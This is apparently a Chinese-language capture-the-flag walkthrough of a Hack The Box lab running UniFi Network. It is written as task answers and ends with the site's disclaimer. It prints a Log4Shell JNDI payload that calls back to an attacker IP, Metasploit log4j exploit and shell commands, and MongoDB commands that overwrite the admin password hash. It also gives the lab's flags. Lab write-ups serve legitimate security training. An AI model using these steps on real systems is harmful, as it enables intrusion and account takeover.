Task 1
Which are the first four open ports?
(开启了哪4个端口?)
$ namp -sC -sV -v 10.129.104.207
22,6789,8080,8443
Task 2
What is the title of the software that is running running on port 8443?
(8443端口运行什么软件?)
UniFi Network
Task 3
What is the version of the software that is running?
(运行的软件版本是什么?)
首先访问10.129.104.207:8080
6.4.54
Task 4
What is the CVE for the identified vulnerability?
(识别到的CVE版本是什么?)
CVE-2021-44228
Task 5
What protocol does JNDI leverage in the injection?
(JNDI (Java Naming and Directory Interface)在注入中利用了什么协议?)
抓包的时候代理设置本地upn的IP
JNDI是Java命名和目录接口API的缩写。通过调用这个API,应用程序可以定位资源和其他程序对象。资源是提供到系统(如数据库服务器和消息传递系统)的连接的程序对象
LDAP是轻量级目录访问协议(Lightweight Directory Access Protocol)的缩写,它是一种开放的、独立于供应商的行业标准应用协议,用于通过Internet或网络访问和维护分布式目录信息服务。LDAP运行的默认端口是389
{
"username": "admin",
"password": "admin",
"remember": "${jndi:ldap://10.10.16.6/whatever}",
"strict": true
}
点击“发送”后,“响应”窗格将显示来自请求的响应。输出显示了一条错误消息,指出有效负载无效,但是尽管有错误消息,有效负载实际上正在执行。
ldap
Task 6
What tool do we use to intercept the traffic, indicating the attack was successful?
(我们用什么工具来拦截流量,表明攻击已成功?)
- tcpdump是一个在命令行界面下运行的数据网络数据包分析计算机程序。它允许用户显示在计算机所连接的网络上传输或接收的TCP/IP和其他数据包。
# tcpdump -i tun0 port 389
tcpdump输出显示在我们的机器上接收到一个连接。这证明该应用程序确实容易受到攻击,因为它试图通过LDAP端口389连接回我们
tcpdump
Task 7
What port do we need to inspect intercepted traffic for?
(我们需要检查拦截的流量的哪个端口?)
389
Task 8
What port is the MongoDB service running on?
(MongoDB服务运行在哪个端口?)
我们必须在我们的系统上安装Open-JDK和Maven,以便构建我们可以发送到服务器的有效载荷,并在易受攻击的系统上进行远程代码执行
$ msfconsole
使用msf的log4j漏洞利用模块
> search log4j
> use 2
> set rhosts 10.129.231.63
> set srvhost tun0
> set lhost tun0
> check
-检查是否存在漏洞> run
Ctrl+Z
-后台运行
> search shell_to
> use 0
> sessions -l
-查看会话> set session 1
-设置会话,并且将普通shell提升至msf的shell> run
session已经成功提升到msf的shell
> sessions -i 2
-进入msf的shell会话meterpreter> shell
-进入shell
ps aux|grep mongo
- 查看进程mongo的信息
27117
Task 9
What is the default database name for UniFi applications?
(UniFi 应用程序的默认数据库名称是什么?)
让我们通过使用mongo命令行实用程序与MongoDB服务交互,并尝试提取管理员密码。使用关键字UniFi Default Database进行快速Google搜索,显示UniFi应用程序的默认数据库名称是ace。
ace
Task 10
What is the function we use to enumerate users within the database in MongoDB?
(我们在 MongoDB 中用来枚举数据库中的用户的函数是什么?)
$ mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"
输出显示了一个名为Administrator的用户。他们的密码散列位于x_shadow变量中,但是在这种情况下,它不能被任何密码破解工具破解。相反,我们可以用自己创建的散列更改x_shadow密码散列,以替换管理员密码并向管理面板进行身份验证。为此,我们可以使用mkpasswd命令行实用程序。
db.admin.find()
Task 11
What is the function we use to update users within the database in MongoDB?
(我们在 MongoDB 中用来更新数据库中的用户的函数是什么?)
$ mkpasswd -m sha-512 s-h4ck13
-生成密码散列
$6$i2Bx4z4kMsLW5K2Y$2chqfNY/6YEqDvBjk4GEJKsZlh39tfdr73boSEI2RKzhLkfP.g.YRIvY2OQr1RESU3D2eIl/5A3cmZy5L2cKp/
$6$是正在使用的散列算法的标识符,在本例中是SHA-512,因此我们必须创建相同类型的散列
在msfshell中执行payload
$ mongo --port 27117 ace --eval 'db.admin.update({"_id": ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$i2Bx4z4kMsLW5K2Y$2chqfNY/6YEqDvBjk4GEJKsZlh39tfdr73boSEI2RKzhLkfP.g.YRIvY2OQr1RESU3D2eIl/5A3cmZy5L2cKp/"}})'
-替换管理员的密码
$ mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"
再次查看管理员密码
已经改变
db.admin.update()
Task 12
What is the password for the root user?
(root用户的密码是什么?)
登录页面
username:administrator
password:s-h4ck13
来到setting->site选项卡下,可以看到ssh的root账户密码
NotACrackablePassword4U2022
User Flag
$ find / -name user.txt
$ cat /home/michael/user.txt
6ced1a6a89e666c0620cdb10262ba127
Root Flag
e50bc93c75b634e4b272d2f771c33681
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)